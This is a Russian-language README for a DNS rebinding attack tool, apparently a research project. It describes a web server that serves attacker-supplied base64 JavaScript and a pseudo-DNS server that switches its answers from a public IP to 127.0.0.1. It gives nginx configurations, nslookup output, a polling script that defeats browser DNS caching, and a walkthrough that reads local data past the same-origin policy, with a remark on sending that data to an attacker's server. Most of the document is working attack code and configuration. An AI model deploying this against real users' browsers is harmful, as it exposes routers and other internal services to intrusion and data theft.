
Инструмент для DNS-ребендинга с пользовательскими скриптами
Вдохновлено @tavisio
Этот проект задуман как универсальный инструментарий для дальнейшего тестирования DNS rebinding атак и моё понимание этих атак. Он состоит из веб-сервера и псевдо-DNS-сервера, который отвечает только на A-запросы.
Корневой индекс веб-сервера позволяет настроить и запустить атаку с помощью простого веб-интерфейса. См. dnsrebindtool.43z.one.
server {
listen 80;
server_name dnsrebindtool.43z.one;
location / {
proxy_pass http://localhost:5000;
}
}
Маршрут /attack веб-сервера читает GET-параметр script, который должен содержать javascript в кодировке base64, и отвечает декодированным кодом (обёрнутым в setTimeout), встроенным в обычную HTML-страницу.
% curl "http://dnsrebindtool.43z.one/attack?script=YWxlcnQoMSk="
<html>
<script>
setTimeout(function(){
alert(1)
}, 3000)
</script>
</html
В моём регистраторе для домена 43z.one я настроил NS-запись для поддомена rebind, указывающую на IP-адрес, где размещён этот инструмент.
ns A 81.4.124.10
rebind NS ns.43z.one
DNS-сервер отвечает только на A-запросы в таком формате
evcmxfm4g . 81-4-124-10 . 127-0-0-1 .rebind.43z.one
Первая часть (поддомен) — это просто случайный идентификатор, который должен генерироваться для каждой сессии атаки (веб-интерфейс делает это при каждой перезагрузке). Затем указывается IP-адрес, на который DNS-сервер должен отвечать в течение следующих 2 секунд, и третий — IP-адрес, на который сервер должен отвечать по истечении этого времени.
$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Fri Feb 2 21:18:20 CET 2018
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 81.4.124.10
$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Fri Feb 2 21:18:23 CET 2018
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 127.0.0.1
Последний недостающий элемент — конфигурация nginx для доменов rebind. Только маршрут /attack должен передаваться инструменту; остальные должны отвечать ошибкой. Это позволяет атаковать другие сервисы на порту 80 со всеми маршрутами, кроме /attack (например, /api/monitoring/stats — эндпоинт, который мой роутер предоставляет).
server {
listen 80;
server_name *.rebind.43z.one;
location / {
return 404;
}
location /attack {
proxy_pass http://localhost:5000/attack;
}
}
Очистка кэша DNS
var xhr = new XMLHttpRequest()
xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// первый раз, когда браузер видит этот домен, он запрашивает DNS-сервер
// и получает 81.4.124.10
// ждём более 2 секунд
xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// всё ещё использует 81.4.124.10 (А НЕ 127.0.0.1)
// НЕ происходит DNS-запроса, браузер использует кэшированный IP
Это проблема для данного типа атак. Чтобы атака сработала, браузер должен выполнить новый DNS-запрос для получения второго IP-адреса. Теоретически, если подождать достаточно долго между запросами, новый запрос должен произойти. Однако мои тесты показывают, что есть более быстрый, но более агрессивный подход. Вероятно, это специфично для конкретной конфигурации. Требуется дополнительное тестирование. Я использовал следующий скрипт для измерения оптимального значения переменной WAIT. Протестировано на Chromium 62.0.3202.89, работающем на Debian buster/sid.
var WAIT = 200
var start = Date.now()
var interval = setInterval(function(){
var xhr = new XMLHttpRequest()
xhr.open('GET', '//' + $REBIND_DOMAIN, false)
xhr.send()
if(xhr.status == 200){
document.body.innerHTML = (Date.now() - start)/1000
document.body.innerHTML += xhr.responseText
clearInterval(interval)
return
}
}, WAIT)
Я создал новый репозиторий специально для изучения этого тестера вытеснения кэша DNS
Собираем всё вместе и тестируем.
echo -e "HTTP/1.1 200 OK\n\n TOPSECRET" | sudo nc -lvp 80 -q1 127.0.0.1
Этот экземпляр netcat предоставляет некоторый контент, к которому я хочу получить доступ.
Я оставляю домен rebind по умолчанию
$RANDOM$.81-4-124-10.127-0-0-1.rebind.43z.one
и скрипт по умолчанию
var start = Date.now()
var interval = setInterval(function(){
var xhr = new XMLHttpRequest()
xhr.open('GET', '//' + $REBIND_DOMAIN, false)
xhr.send()
if(xhr.status == 200){
document.body.innerHTML = (Date.now() - start)/1000
document.body.innerHTML += xhr.responseText
clearInterval(interval)
return
}
}, 200)
на dnsrebindtool.43z.one и нажимаю кнопку Attack. Откройте вкладку Network в инструментах разработчика, чтобы увидеть, что происходит в фоне. У меня примерно через 60 секунд страница заполняется строкой TOPSECRET и временем, которое это заняло. DNS rebinding обошёл SOP. Чтобы извлечь полученные данные из iframe, можно использовать Window.PostMessage() или включить в сам скрипт код, который пересылает данные на другой сервер атакующего.
| Значение WAIT в мс | Запросы, отправленные Chrome | Время до повторного запроса DNS |
|---|
| 0 | 700 | 60 |
| 10 | 700 | 60 |
| 100 | 600 | 63 |
| 120 | 500 | 63 |
| 150 | 400 | 63 |
| 180 | 400 | 75 |
| 200 | 300 | 63 |
| 220 | 300 | 69 |
| 250 | 300 | 78 |
| 280 | 300 | 87 |
| 300 | 200 | 63 |
| 320 | 200 | 67 |
| 340 | 200 | 71 |
| 360 | 200 | 75 |
| 380 | 200 | 79 |
| 400 | 200 | 83 |
| 1000 | 100 | 103 |